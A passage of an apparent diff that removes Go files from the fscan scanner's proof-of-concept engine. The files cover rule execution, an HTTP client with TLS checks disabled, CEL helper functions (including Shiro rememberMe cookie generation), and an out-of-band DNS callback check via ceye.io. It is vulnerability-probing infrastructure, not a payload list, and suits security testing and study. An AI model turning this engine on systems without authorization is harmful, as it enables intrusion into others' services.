tmpMap = append(tmpMap, StrItem{k, fmt.Sprintf("%v", v)})
}
}
if flag2 {
continue
}
}
tmpMap = append(tmpMap, StrItem{key, value})
}
}
if !flag1 {
continue
}
has := md5.Sum([]byte(fmt.Sprintf("%v", rule1)))
md5str := fmt.Sprintf("%x", has)
if _, ok := ruleHash[md5str]; ok {
continue
}
ruleHash[md5str] = struct{}{}
success, err = clustersend(oReq, variableMap, req, env, rule1)
if err != nil {
return false, err
}
if success {
if rule.Continue {
if p.Name == "poc-yaml-backup-file" || p.Name == "poc-yaml-sql-file" {
common.LogSuccess(fmt.Sprintf("[+] %s://%s%s %s", req.Url.Scheme, req.Url.Host, req.Url.Path, p.Name))
} else {
common.LogSuccess(fmt.Sprintf("[+] %s://%s%s %s %v", req.Url.Scheme, req.Url.Host, req.Url.Path, p.Name, tmpMap))
}
continue
}
strMap = append(strMap, tmpMap...)
if i == len(p.Rules)-1 {
common.LogSuccess(fmt.Sprintf("[+] %s://%s%s %s %v", req.Url.Scheme, req.Url.Host, req.Url.Path, p.Name, strMap))
//防止后续继续打印poc成功信息
return false, nil
}
break look
}
}
if !success {
break
}
if rule.Continue {
//防止后续继续打印poc成功信息
return false, nil
}
}
return success, nil
}
func isFuzz(rule Rules, Sets ListMap) bool {
for _, one := range Sets {
key := one.Key
for _, v := range rule.Headers {
if strings.Contains(v, "{{"+key+"}}") {
return true
}
}
if strings.Contains(rule.Path, "{{"+key+"}}") {
return true
}
if strings.Contains(rule.Body, "{{"+key+"}}") {
return true
}
}
return false
}
func Combo(input ListMap) (output [][]string) {
if len(input) > 1 {
output = Combo(input[1:])
output = MakeData(output, input[0].Value)
} else {
for _, i := range input[0].Value {
output = append(output, []string{i})
}
}
return
}
func MakeData(base [][]string, nextData []string) (output [][]string) {
for i := range base {
for _, j := range nextData {
output = append(output, append([]string{j}, base[i]...))
}
}
return
}
func clustersend(oReq *http.Request, variableMap map[string]interface{}, req *Request, env *cel.Env, rule Rules) (bool, error) {
for k1, v1 := range variableMap {
_, isMap := v1.(map[string]string)
if isMap {
continue
}
value := fmt.Sprintf("%v", v1)
for k2, v2 := range rule.Headers {
if strings.Contains(v2, "{{"+k1+"}}") {
rule.Headers[k2] = strings.ReplaceAll(v2, "{{"+k1+"}}", value)
}
}
rule.Path = strings.ReplaceAll(strings.TrimSpace(rule.Path), "{{"+k1+"}}", value)
rule.Body = strings.ReplaceAll(strings.TrimSpace(rule.Body), "{{"+k1+"}}", value)
}
if oReq.URL.Path != "" && oReq.URL.Path != "/" {
req.Url.Path = fmt.Sprint(oReq.URL.Path, rule.Path)
} else {
req.Url.Path = rule.Path
}
// 某些poc没有区分path和query,需要处理
req.Url.Path = strings.ReplaceAll(req.Url.Path, " ", "%20")
//req.Url.Path = strings.ReplaceAll(req.Url.Path, "+", "%20")
//
newRequest, err := http.NewRequest(rule.Method, fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, req.Url.Path), strings.NewReader(rule.Body))
if err != nil {
//fmt.Println("[-] newRequest error:",err)
return false, err
}
newRequest.Header = oReq.Header.Clone()
for k, v := range rule.Headers {
newRequest.Header.Set(k, v)
}
resp, err := DoRequest(newRequest, rule.FollowRedirects)
newRequest = nil
if err != nil {
return false, err
}
variableMap["response"] = resp
// 先判断响应页面是否匹配search规则
if rule.Search != "" {
result := doSearch(strings.TrimSpace(rule.Search), string(resp.Body))
if result != nil && len(result) > 0 { // 正则匹配成功
for k, v := range result {
variableMap[k] = v
}
//return false, nil
} else {
return false, nil
}
}
out, err := Evaluate(env, rule.Expression, variableMap)
if err != nil {
if strings.Contains(err.Error(), "Syntax error") {
fmt.Println(rule.Expression, err)
}
return false, err
}
//fmt.Println(fmt.Sprintf("%v, %s", out, out.Type().TypeName()))
if fmt.Sprintf("%v", out) == "false" { //如果false不继续执行后续rule
return false, err // 如果最后一步执行失败,就算前面成功了最终依旧是失败
}
return true, err
}
func cloneRules(tags Rules) Rules {
cloneTags := Rules{}
cloneTags.Method = tags.Method
cloneTags.Path = tags.Path
cloneTags.Body = tags.Body
cloneTags.Search = tags.Search
cloneTags.FollowRedirects = tags.FollowRedirects
cloneTags.Expression = tags.Expression
cloneTags.Headers = cloneMap(tags.Headers)
return cloneTags
}
func cloneMap(tags map[string]string) map[string]string {
cloneTags := make(map[string]string)
for k, v := range tags {
cloneTags[k] = v
}
return cloneTags
}
func evalset(env *cel.Env, variableMap map[string]interface{}, k string, expression string) (err error, output string) {
out, err := Evaluate(env, expression, variableMap)
if err != nil {
variableMap[k] = expression
} else {
switch value := out.Value().(type) {
case *UrlType:
variableMap[k] = UrlTypeToString(value)
case int64:
variableMap[k] = int(value)
default:
variableMap[k] = fmt.Sprintf("%v", out)
}
}
return err, fmt.Sprintf("%v", variableMap[k])
}
func evalset1(env *cel.Env, variableMap map[string]interface{}, k string, expression string) (err error, output string) {
out, err := Evaluate(env, expression, variableMap)
if err != nil {
variableMap[k] = expression
} else {
variableMap[k] = fmt.Sprintf("%v", out)
}
return err, fmt.Sprintf("%v", variableMap[k])
}
func CheckInfoPoc(infostr string) string {
for _, poc := range info.PocDatas {
if strings.Compare(poc.Name, infostr) == 0 {
return poc.Alias
}
}
return ""
}
-88
View File
@@ -1,88 +0,0 @@
package lib
import (
"context"
"crypto/tls"
"errors"
"github.com/shadow1ng/fscan/common"
"golang.org/x/net/proxy"
"log"
"net"
"net/http"
"net/url"
"strings"
"time"
)
var (
Client *http.Client
ClientNoRedirect *http.Client
dialTimout = 5 * time.Second
keepAlive = 5 * time.Second
)
func Inithttp(PocInfo common.PocInfo) {
//PocInfo.Proxy = "http://127.0.0.1:8080"
err := InitHttpClient(common.PocNum, common.Proxy, time.Duration(common.WebTimeout)*time.Second)
if err != nil {
log.Fatal(err)
}
}
func InitHttpClient(ThreadsNum int, DownProxy string, Timeout time.Duration) error {
type DialContext = func(ctx context.Context, network, addr string) (net.Conn, error)
dialer := &net.Dialer{
Timeout: dialTimout,
KeepAlive: keepAlive,
}
tr := &http.Transport{
DialContext: dialer.DialContext,
MaxConnsPerHost: 5,
MaxIdleConns: 0,
MaxIdleConnsPerHost: ThreadsNum * 2,
IdleConnTimeout: keepAlive,
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
TLSHandshakeTimeout: 5 * time.Second,
DisableKeepAlives: false,
}
if common.Socks5Proxy != "" {
dialSocksProxy, err := common.Socks5Dailer(dialer)
if err != nil {
return err
}
if contextDialer, ok := dialSocksProxy.(proxy.ContextDialer); ok {
tr.DialContext = contextDialer.DialContext
} else {
return errors.New("Failed type assertion to DialContext")
}
} else if DownProxy != "" {
if DownProxy == "1" {
DownProxy = "http://127.0.0.1:8080"
} else if DownProxy == "2" {
DownProxy = "socks5://127.0.0.1:1080"
} else if !strings.Contains(DownProxy, "://") {
DownProxy = "http://127.0.0.1:" + DownProxy
}
if !strings.HasPrefix(DownProxy, "socks") && !strings.HasPrefix(DownProxy, "http") {
return errors.New("no support this proxy")
}
u, err := url.Parse(DownProxy)
if err != nil {
return err
}
tr.Proxy = http.ProxyURL(u)
}
Client = &http.Client{
Transport: tr,
Timeout: Timeout,
}
ClientNoRedirect = &http.Client{
Transport: tr,
Timeout: Timeout,
CheckRedirect: func(req *http.Request, via []*http.Request) error { return http.ErrUseLastResponse },
}
return nil
}
-695
View File
@@ -1,695 +0,0 @@
package lib
import (
"bytes"
"compress/gzip"
"crypto/md5"
"encoding/base64"
"encoding/hex"
"fmt"
"github.com/google/cel-go/cel"
"github.com/google/cel-go/checker/decls"
"github.com/google/cel-go/common/types"
"github.com/google/cel-go/common/types/ref"
"github.com/google/cel-go/interpreter/functions"
exprpb "google.golang.org/genproto/googleapis/api/expr/v1alpha1"
"io"
"io/ioutil"
"math/rand"
"net/http"
"net/url"
"regexp"
"strconv"
"strings"
"time"
)
func NewEnv(c *CustomLib) (*cel.Env, error) {
return cel.NewEnv(cel.Lib(c))
}
func Evaluate(env *cel.Env, expression string, params map[string]interface{}) (ref.Val, error) {
ast, iss := env.Compile(expression)
if iss.Err() != nil {
//fmt.Printf("compile: ", iss.Err())
return nil, iss.Err()
}
prg, err := env.Program(ast)
if err != nil {
//fmt.Printf("Program creation error: %v", err)
return nil, err
}
out, _, err := prg.Eval(params)
if err != nil {
//fmt.Printf("Evaluation error: %v", err)
return nil, err
}
return out, nil
}
func UrlTypeToString(u *UrlType) string {
var buf strings.Builder
if u.Scheme != "" {
buf.WriteString(u.Scheme)
buf.WriteByte(':')
}
if u.Scheme != "" || u.Host != "" {
if u.Host != "" || u.Path != "" {
buf.WriteString("//")
}
if h := u.Host; h != "" {
buf.WriteString(u.Host)
}
}
path := u.Path
if path != "" && path[0] != '/' && u.Host != "" {
buf.WriteByte('/')
}
if buf.Len() == 0 {
if i := strings.IndexByte(path, ':'); i > -1 && strings.IndexByte(path[:i], '/') == -1 {
buf.WriteString("./")
}
}
buf.WriteString(path)
if u.Query != "" {
buf.WriteByte('?')
buf.WriteString(u.Query)
}
if u.Fragment != "" {
buf.WriteByte('#')
buf.WriteString(u.Fragment)
}
return buf.String()
}
type CustomLib struct {
envOptions []cel.EnvOption
programOptions []cel.ProgramOption
}
func NewEnvOption() CustomLib {
c := CustomLib{}
c.envOptions = []cel.EnvOption{
cel.Container("lib"),
cel.Types(
&UrlType{},
&Request{},
&Response{},
&Reverse{},
),
cel.Declarations(
decls.NewIdent("request", decls.NewObjectType("lib.Request"), nil),
decls.NewIdent("response", decls.NewObjectType("lib.Response"), nil),
//decls.NewIdent("reverse", decls.NewObjectType("lib.Reverse"), nil),
),
cel.Declarations(
// functions
decls.NewFunction("bcontains",
decls.NewInstanceOverload("bytes_bcontains_bytes",
[]*exprpb.Type{decls.Bytes, decls.Bytes},
decls.Bool)),
decls.NewFunction("bmatches",
decls.NewInstanceOverload("string_bmatches_bytes",
[]*exprpb.Type{decls.String, decls.Bytes},
decls.Bool)),
decls.NewFunction("md5",
decls.NewOverload("md5_string",
[]*exprpb.Type{decls.String},
decls.String)),
decls.NewFunction("randomInt",
decls.NewOverload("randomInt_int_int",
[]*exprpb.Type{decls.Int, decls.Int},
decls.Int)),
decls.NewFunction("randomLowercase",
decls.NewOverload("randomLowercase_int",
[]*exprpb.Type{decls.Int},
decls.String)),
decls.NewFunction("randomUppercase",
decls.NewOverload("randomUppercase_int",
[]*exprpb.Type{decls.Int},
decls.String)),
decls.NewFunction("base64",
decls.NewOverload("base64_string",
[]*exprpb.Type{decls.String},
decls.String)),
decls.NewFunction("base64",
decls.NewOverload("base64_bytes",
[]*exprpb.Type{decls.Bytes},
decls.String)),
decls.NewFunction("base64Decode",
decls.NewOverload("base64Decode_string",
[]*exprpb.Type{decls.String},
decls.String)),
decls.NewFunction("base64Decode",
decls.NewOverload("base64Decode_bytes",
[]*exprpb.Type{decls.Bytes},
decls.String)),
decls.NewFunction("urlencode",
decls.NewOverload("urlencode_string",
[]*exprpb.Type{decls.String},
decls.String)),
decls.NewFunction("urlencode",
decls.NewOverload("urlencode_bytes",
[]*exprpb.Type{decls.Bytes},
decls.String)),
decls.NewFunction("urldecode",
decls.NewOverload("urldecode_string",
[]*exprpb.Type{decls.String},
decls.String)),
decls.NewFunction("urldecode",
decls.NewOverload("urldecode_bytes",
[]*exprpb.Type{decls.Bytes},
decls.String)),
decls.NewFunction("substr",
decls.NewOverload("substr_string_int_int",
[]*exprpb.Type{decls.String, decls.Int, decls.Int},
decls.String)),
decls.NewFunction("wait",
decls.NewInstanceOverload("reverse_wait_int",
[]*exprpb.Type{decls.Any, decls.Int},
decls.Bool)),
decls.NewFunction("icontains",
decls.NewInstanceOverload("icontains_string",
[]*exprpb.Type{decls.String, decls.String},
decls.Bool)),
decls.NewFunction("TDdate",
decls.NewOverload("tongda_date",
[]*exprpb.Type{},
decls.String)),
decls.NewFunction("shirokey",
decls.NewOverload("shiro_key",
[]*exprpb.Type{decls.String, decls.String},
decls.String)),
decls.NewFunction("startsWith",
decls.NewInstanceOverload("startsWith_bytes",
[]*exprpb.Type{decls.Bytes, decls.Bytes},
decls.Bool)),
decls.NewFunction("istartsWith",
decls.NewInstanceOverload("startsWith_string",
[]*exprpb.Type{decls.String, decls.String},
decls.Bool)),
decls.NewFunction("hexdecode",
decls.NewInstanceOverload("hexdecode",
[]*exprpb.Type{decls.String},
decls.Bytes)),
),
}
c.programOptions = []cel.ProgramOption{
cel.Functions(
&functions.Overload{
Operator: "bytes_bcontains_bytes",
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
v1, ok := lhs.(types.Bytes)
if !ok {
return types.ValOrErr(lhs, "unexpected type '%v' passed to bcontains", lhs.Type())
}
v2, ok := rhs.(types.Bytes)
if !ok {
return types.ValOrErr(rhs, "unexpected type '%v' passed to bcontains", rhs.Type())
}
return types.Bool(bytes.Contains(v1, v2))
},
},
&functions.Overload{
Operator: "string_bmatches_bytes",
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
v1, ok := lhs.(types.String)
if !ok {
return types.ValOrErr(lhs, "unexpected type '%v' passed to bmatch", lhs.Type())
}
v2, ok := rhs.(types.Bytes)
if !ok {
return types.ValOrErr(rhs, "unexpected type '%v' passed to bmatch", rhs.Type())
}
ok, err := regexp.Match(string(v1), v2)
if err != nil {
return types.NewErr("%v", err)
}
return types.Bool(ok)
},
},
&functions.Overload{
Operator: "md5_string",
Unary: func(value ref.Val) ref.Val {
v, ok := value.(types.String)
if !ok {
return types.ValOrErr(value, "unexpected type '%v' passed to md5_string", value.Type())
}
return types.String(fmt.Sprintf("%x", md5.Sum([]byte(v))))
},
},
&functions.Overload{
Operator: "randomInt_int_int",
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
from, ok := lhs.(types.Int)
if !ok {
return types.ValOrErr(lhs, "unexpected type '%v' passed to randomInt", lhs.Type())
}
to, ok := rhs.(types.Int)
if !ok {
return types.ValOrErr(rhs, "unexpected type '%v' passed to randomInt", rhs.Type())
}
min, max := int(from), int(to)
return types.Int(rand.Intn(max-min) + min)
},
},
&functions.Overload{
Operator: "randomLowercase_int",
Unary: func(value ref.Val) ref.Val {
n, ok := value.(types.Int)
if !ok {
return types.ValOrErr(value, "unexpected type '%v' passed to randomLowercase", value.Type())
}
return types.String(randomLowercase(int(n)))
},
},
&functions.Overload{
Operator: "randomUppercase_int",
Unary: func(value ref.Val) ref.Val {
n, ok := value.(types.Int)
if !ok {
return types.ValOrErr(value, "unexpected type '%v' passed to randomUppercase", value.Type())
}
return types.String(randomUppercase(int(n)))
},
},
&functions.Overload{
Operator: "base64_string",
Unary: func(value ref.Val) ref.Val {
v, ok := value.(types.String)
if !ok {
return types.ValOrErr(value, "unexpected type '%v' passed to base64_string", value.Type())
}
return types.String(base64.StdEncoding.EncodeToString([]byte(v)))
},
},
&functions.Overload{
Operator: "base64_bytes",
Unary: func(value ref.Val) ref.Val {
v, ok := value.(types.Bytes)
if !ok {
return types.ValOrErr(value, "unexpected type '%v' passed to base64_bytes", value.Type())
}
return types.String(base64.StdEncoding.EncodeToString(v))
},
},
&functions.Overload{
Operator: "base64Decode_string",
Unary: func(value ref.Val) ref.Val {
v, ok := value.(types.String)
if !ok {
return types.ValOrErr(value, "unexpected type '%v' passed to base64Decode_string", value.Type())
}
decodeBytes, err := base64.StdEncoding.DecodeString(string(v))
if err != nil {
return types.NewErr("%v", err)
}
return types.String(decodeBytes)
},
},
&functions.Overload{
Operator: "base64Decode_bytes",
Unary: func(value ref.Val) ref.Val {
v, ok := value.(types.Bytes)
if !ok {
return types.ValOrErr(value, "unexpected type '%v' passed to base64Decode_bytes", value.Type())
}
decodeBytes, err := base64.StdEncoding.DecodeString(string(v))
if err != nil {
return types.NewErr("%v", err)
}
return types.String(decodeBytes)
},
},
&functions.Overload{
Operator: "urlencode_string",
Unary: func(value ref.Val) ref.Val {
v, ok := value.(types.String)
if !ok {
return types.ValOrErr(value, "unexpected type '%v' passed to urlencode_string", value.Type())
}
return types.String(url.QueryEscape(string(v)))
},
},
&functions.Overload{
Operator: "urlencode_bytes",
Unary: func(value ref.Val) ref.Val {
v, ok := value.(types.Bytes)
if !ok {
return types.ValOrErr(value, "unexpected type '%v' passed to urlencode_bytes", value.Type())
}
return types.String(url.QueryEscape(string(v)))
},
},
&functions.Overload{
Operator: "urldecode_string",
Unary: func(value ref.Val) ref.Val {
v, ok := value.(types.String)
if !ok {
return types.ValOrErr(value, "unexpected type '%v' passed to urldecode_string", value.Type())
}
decodeString, err := url.QueryUnescape(string(v))
if err != nil {
return types.NewErr("%v", err)
}
return types.String(decodeString)
},
},
&functions.Overload{
Operator: "urldecode_bytes",
Unary: func(value ref.Val) ref.Val {
v, ok := value.(types.Bytes)
if !ok {
return types.ValOrErr(value, "unexpected type '%v' passed to urldecode_bytes", value.Type())
}
decodeString, err := url.QueryUnescape(string(v))
if err != nil {
return types.NewErr("%v", err)
}
return types.String(decodeString)
},
},
&functions.Overload{
Operator: "substr_string_int_int",
Function: func(values ...ref.Val) ref.Val {
if len(values) == 3 {
str, ok := values[0].(types.String)
if !ok {
return types.NewErr("invalid string to 'substr'")
}
start, ok := values[1].(types.Int)
if !ok {
return types.NewErr("invalid start to 'substr'")
}
length, ok := values[2].(types.Int)
if !ok {
return types.NewErr("invalid length to 'substr'")
}
runes := []rune(str)
if start < 0 || length < 0 || int(start+length) > len(runes) {
return types.NewErr("invalid start or length to 'substr'")
}
return types.String(runes[start : start+length])
} else {
return types.NewErr("too many arguments to 'substr'")
}
},
},
&functions.Overload{
Operator: "reverse_wait_int",
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
reverse, ok := lhs.Value().(*Reverse)
if !ok {
return types.ValOrErr(lhs, "unexpected type '%v' passed to 'wait'", lhs.Type())
}
timeout, ok := rhs.Value().(int64)
if !ok {
return types.ValOrErr(rhs, "unexpected type '%v' passed to 'wait'", rhs.Type())
}
return types.Bool(reverseCheck(reverse, timeout))
},
},
&functions.Overload{
Operator: "icontains_string",
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
v1, ok := lhs.(types.String)
if !ok {
return types.ValOrErr(lhs, "unexpected type '%v' passed to bcontains", lhs.Type())
}
v2, ok := rhs.(types.String)
if !ok {
return types.ValOrErr(rhs, "unexpected type '%v' passed to bcontains", rhs.Type())
}
// 不区分大小写包含
return types.Bool(strings.Contains(strings.ToLower(string(v1)), strings.ToLower(string(v2))))
},
},
&functions.Overload{
Operator: "tongda_date",
Function: func(value ...ref.Val) ref.Val {
return types.String(time.Now().Format("0601"))
},
},
&functions.Overload{
Operator: "shiro_key",
Binary: func(key ref.Val, mode ref.Val) ref.Val {
v1, ok := key.(types.String)
if !ok {
return types.ValOrErr(key, "unexpected type '%v' passed to shiro_key", key.Type())
}
v2, ok := mode.(types.String)
if !ok {
return types.ValOrErr(mode, "unexpected type '%v' passed to shiro_mode", mode.Type())
}
cookie := GetShrioCookie(string(v1), string(v2))
if cookie == "" {
return types.NewErr("%v", "key b64decode failed")
}
return types.String(cookie)
},
},
&functions.Overload{
Operator: "startsWith_bytes",
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
v1, ok := lhs.(types.Bytes)
if !ok {
return types.ValOrErr(lhs, "unexpected type '%v' passed to startsWith_bytes", lhs.Type())
}
v2, ok := rhs.(types.Bytes)
if !ok {
return types.ValOrErr(rhs, "unexpected type '%v' passed to startsWith_bytes", rhs.Type())
}
// 不区分大小写包含
return types.Bool(bytes.HasPrefix(v1, v2))
},
},
&functions.Overload{
Operator: "startsWith_string",
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
v1, ok := lhs.(types.String)
if !ok {
return types.ValOrErr(lhs, "unexpected type '%v' passed to startsWith_string", lhs.Type())
}
v2, ok := rhs.(types.String)
if !ok {
return types.ValOrErr(rhs, "unexpected type '%v' passed to startsWith_string", rhs.Type())
}
// 不区分大小写包含
return types.Bool(strings.HasPrefix(strings.ToLower(string(v1)), strings.ToLower(string(v2))))
},
},
&functions.Overload{
Operator: "hexdecode",
Unary: func(lhs ref.Val) ref.Val {
v1, ok := lhs.(types.String)
if !ok {
return types.ValOrErr(lhs, "unexpected type '%v' passed to hexdecode", lhs.Type())
}
out, err := hex.DecodeString(string(v1))
if err != nil {
return types.ValOrErr(lhs, "hexdecode error: %v", err)
}
// 不区分大小写包含
return types.Bytes(out)
},
},
),
}
return c
}
// 声明环境中的变量类型和函数
func (c *CustomLib) CompileOptions() []cel.EnvOption {
return c.envOptions
}
func (c *CustomLib) ProgramOptions() []cel.ProgramOption {
return c.programOptions
}
func (c *CustomLib) UpdateCompileOptions(args StrMap) {
for _, item := range args {
k, v := item.Key, item.Value
// 在执行之前是不知道变量的类型的,所以统一声明为字符型
// 所以randomInt虽然返回的是int型,在运算中却被当作字符型进行计算,需要重载string_*_string
var d *exprpb.Decl
if strings.HasPrefix(v, "randomInt") {
d = decls.NewIdent(k, decls.Int, nil)
} else if strings.HasPrefix(v, "newReverse") {
d = decls.NewIdent(k, decls.NewObjectType("lib.Reverse"), nil)
} else {
d = decls.NewIdent(k, decls.String, nil)
}
c.envOptions = append(c.envOptions, cel.Declarations(d))
}
}
var randSource = rand.New(rand.NewSource(time.Now().Unix()))
func randomLowercase(n int) string {
lowercase := "abcdefghijklmnopqrstuvwxyz"
return RandomStr(randSource, lowercase, n)
}
func randomUppercase(n int) string {
lowercase := "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
return RandomStr(randSource, lowercase, n)
}
func reverseCheck(r *Reverse, timeout int64) bool {
if ceyeApi == "" || r.Domain == "" {
return false
}
time.Sleep(time.Second * time.Duration(timeout))
sub := strings.Split(r.Domain, ".")[0]
urlStr := fmt.Sprintf("http://api.ceye.io/v1/records?token=%s&type=dns&filter=%s", ceyeApi, sub)
//fmt.Println(urlStr)
req, _ := http.NewRequest("GET", urlStr, nil)
resp, err := DoRequest(req, false)
if err != nil {
return false
}
if !bytes.Contains(resp.Body, []byte(`"data": []`)) && bytes.Contains(resp.Body, []byte(`"message": "OK"`)) { // api返回结果不为空
return true
}
return false
}
func RandomStr(randSource *rand.Rand, letterBytes string, n int) string {
const (
letterIdxBits = 6 // 6 bits to represent a letter index
letterIdxMask = 1<<letterIdxBits - 1 // All 1-bits, as many as letterIdxBits
letterIdxMax = 63 / letterIdxBits // # of letter indices fitting in 63 bits
//letterBytes = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
)
randBytes := make([]byte, n)
for i, cache, remain := n-1, randSource.Int63(), letterIdxMax; i >= 0; {
if remain == 0 {
cache, remain = randSource.Int63(), letterIdxMax
}
if idx := int(cache & letterIdxMask); idx < len(letterBytes) {
randBytes[i] = letterBytes[idx]
i--
}
cache >>= letterIdxBits
remain--
}
return string(randBytes)
}
func DoRequest(req *http.Request, redirect bool) (*Response, error) {
if req.Body == nil || req.Body == http.NoBody {
} else {
req.Header.Set("Content-Length", strconv.Itoa(int(req.ContentLength)))
if req.Header.Get("Content-Type") == "" {
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
}
}
var oResp *http.Response
var err error
if redirect {
oResp, err = Client.Do(req)
} else {
oResp, err = ClientNoRedirect.Do(req)
}
if err != nil {
//fmt.Println("[-]DoRequest error: ",err)
return nil, err
}
defer oResp.Body.Close()
resp, err := ParseResponse(oResp)
if err != nil {
common.LogError("[-]ParseResponse error: " + err.Error())
return nil, err
}
return resp, err
}
func ParseUrl(u *url.URL) *UrlType {
nu := &UrlType{}
nu.Scheme = u.Scheme
nu.Domain = u.Hostname()
nu.Host = u.Host
nu.Port = u.Port()
nu.Path = u.EscapedPath()
nu.Query = u.RawQuery
nu.Fragment = u.Fragment
return nu
}
func ParseRequest(oReq *http.Request) (*Request, error) {
req := &Request{}
req.Method = oReq.Method
req.Url = ParseUrl(oReq.URL)
header := make(map[string]string)
for k := range oReq.Header {
header[k] = oReq.Header.Get(k)
}
req.Headers = header
req.ContentType = oReq.Header.Get("Content-Type")
if oReq.Body == nil || oReq.Body == http.NoBody {
} else {
data, err := ioutil.ReadAll(oReq.Body)
if err != nil {
return nil, err
}
req.Body = data
oReq.Body = ioutil.NopCloser(bytes.NewBuffer(data))
}
return req, nil
}
func ParseResponse(oResp *http.Response) (*Response, error) {
var resp Response
header := make(map[string]string)
resp.Status = int32(oResp.StatusCode)
resp.Url = ParseUrl(oResp.Request.URL)
for k := range oResp.Header {
header[k] = strings.Join(oResp.Header.Values(k), ";")
}
resp.Headers = header
resp.ContentType = oResp.Header.Get("Content-Type")
body, err := getRespBody(oResp)
if err != nil {
return nil, err
}
resp.Body = body
return &resp, nil
}
func getRespBody(oResp *http.Response) ([]byte, error) {
var body []byte
if oResp.Header.Get("Content-Encoding") == "gzip" {
gr, err := gzip.NewReader(oResp.Body)
if err != nil {
return nil, err
}
defer gr.Close()
for {
buf := make([]byte, 1024)
n, err := gr.Read(buf)
if err != nil && err != io.EOF {
//utils.Logger.Error(err)
return nil, err
}
if n == 0 {
break
}
body = append(body, buf...)
}
} else {
raw, err := ioutil.ReadAll(io.LimitReader(oResp.Body, 10240))
if err != nil {
return nil, err
}
defer oResp.Body.Close()
body = raw
}
return body, nil
}
-521
View File
@@ -1,521 +0,0 @@
// Code generated by protoc-gen-go. DO NOT EDIT.
// source: http.proto
package lib
import (
"embed"
"fmt"
"github.com/golang/protobuf/proto"
"gopkg.in/yaml.v2"
"io/ioutil"
"math"
"strings"
)
type Poc struct {
Name string `yaml:"name"`
Set StrMap `yaml:"set"`
Sets ListMap `yaml:"sets"`
Rules []Rules `yaml:"rules"`
Groups RuleMap `yaml:"groups"`
Detail Detail `yaml:"detail"`
}
type MapSlice = yaml.MapSlice
type StrMap []StrItem
type ListMap []ListItem
type RuleMap []RuleItem
type StrItem struct {
Key, Value string
}
type ListItem struct {
Key string
Value []string
}
type RuleItem struct {
Key string
Value []Rules
}
func (r *StrMap) UnmarshalYAML(unmarshal func(interface{}) error) error {
var tmp yaml.MapSlice
if err := unmarshal(&tmp); err != nil {
return err
}
for _, one := range tmp {
key, value := one.Key.(string), one.Value.(string)
*r = append(*r, StrItem{key, value})
}
return nil
}
//func (r *RuleItem) UnmarshalYAML(unmarshal func(interface{}) error) error {
// var tmp yaml.MapSlice
// if err := unmarshal(&tmp); err != nil {
// return err
// }
// //for _,one := range tmp{
// // key,value := one.Key.(string),one.Value.(string)
// // *r = append(*r,StrItem{key,value})
// //}
// return nil
//}
func (r *RuleMap) UnmarshalYAML(unmarshal func(interface{}) error) error {
var tmp1 yaml.MapSlice
if err := unmarshal(&tmp1); err != nil {
return err
}
var tmp = make(map[string][]Rules)
if err := unmarshal(&tmp); err != nil {
return err
}
for _, one := range tmp1 {
key := one.Key.(string)
value := tmp[key]
*r = append(*r, RuleItem{key, value})
}
return nil
}
func (r *ListMap) UnmarshalYAML(unmarshal func(interface{}) error) error {
var tmp yaml.MapSlice
if err := unmarshal(&tmp); err != nil {
return err
}
for _, one := range tmp {
key := one.Key.(string)
var value []string
for _, val := range one.Value.([]interface{}) {
v := fmt.Sprintf("%v", val)
value = append(value, v)
}
*r = append(*r, ListItem{key, value})
}
return nil
}
type Rules struct {
Method string `yaml:"method"`
Path string `yaml:"path"`
Headers map[string]string `yaml:"headers"`
Body string `yaml:"body"`
Search string `yaml:"search"`
FollowRedirects bool `yaml:"follow_redirects"`
Expression string `yaml:"expression"`
Continue bool `yaml:"continue"`
}
type Detail struct {
Author string `yaml:"author"`
Links []string `yaml:"links"`
Description string `yaml:"description"`
Version string `yaml:"version"`
}
// Reference imports to suppress errors if they are not otherwise used.
var _ = proto.Marshal
var _ = fmt.Errorf
var _ = math.Inf
// This is a compile-time assertion to ensure that this generated file
// is compatible with the proto package it is being compiled against.
// A compilation error at this line likely means your copy of the
// proto package needs to be updated.
const _ = proto.ProtoPackageIsVersion3 // please upgrade the proto package
type UrlType struct {
Scheme string `protobuf:"bytes,1,opt,name=scheme,proto3" json:"scheme,omitempty"`
Domain string `protobuf:"bytes,2,opt,name=domain,proto3" json:"domain,omitempty"`
Host string `protobuf:"bytes,3,opt,name=host,proto3" json:"host,omitempty"`
Port string `protobuf:"bytes,4,opt,name=port,proto3" json:"port,omitempty"`
Path string `protobuf:"bytes,5,opt,name=path,proto3" json:"path,omitempty"`
Query string `protobuf:"bytes,6,opt,name=query,proto3" json:"query,omitempty"`
Fragment string `protobuf:"bytes,7,opt,name=fragment,proto3" json:"fragment,omitempty"`
XXX_NoUnkeyedLiteral struct{} `json:"-"`
XXX_unrecognized []byte `json:"-"`
XXX_sizecache int32 `json:"-"`
}
func (m *UrlType) Reset() { *m = UrlType{} }
func (m *UrlType) String() string { return proto.CompactTextString(m) }
func (*UrlType) ProtoMessage() {}
func (*UrlType) Descriptor() ([]byte, []int) {
return fileDescriptor_11b04836674e6f94, []int{0}
}
func (m *UrlType) XXX_Unmarshal(b []byte) error {
return xxx_messageInfo_UrlType.Unmarshal(m, b)
}
func (m *UrlType) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) {
return xxx_messageInfo_UrlType.Marshal(b, m, deterministic)
}
func (m *UrlType) XXX_Merge(src proto.Message) {
xxx_messageInfo_UrlType.Merge(m, src)
}
func (m *UrlType) XXX_Size() int {
return xxx_messageInfo_UrlType.Size(m)
}
func (m *UrlType) XXX_DiscardUnknown() {
xxx_messageInfo_UrlType.DiscardUnknown(m)
}
var xxx_messageInfo_UrlType proto.InternalMessageInfo
func (m *UrlType) GetScheme() string {
if m != nil {
return m.Scheme
}
return ""
}
func (m *UrlType) GetDomain() string {
if m != nil {
return m.Domain
}
return ""
}
func (m *UrlType) GetHost() string {
if m != nil {
return m.Host
}
return ""
}
func (m *UrlType) GetPort() string {
if m != nil {
return m.Port
}
return ""
}
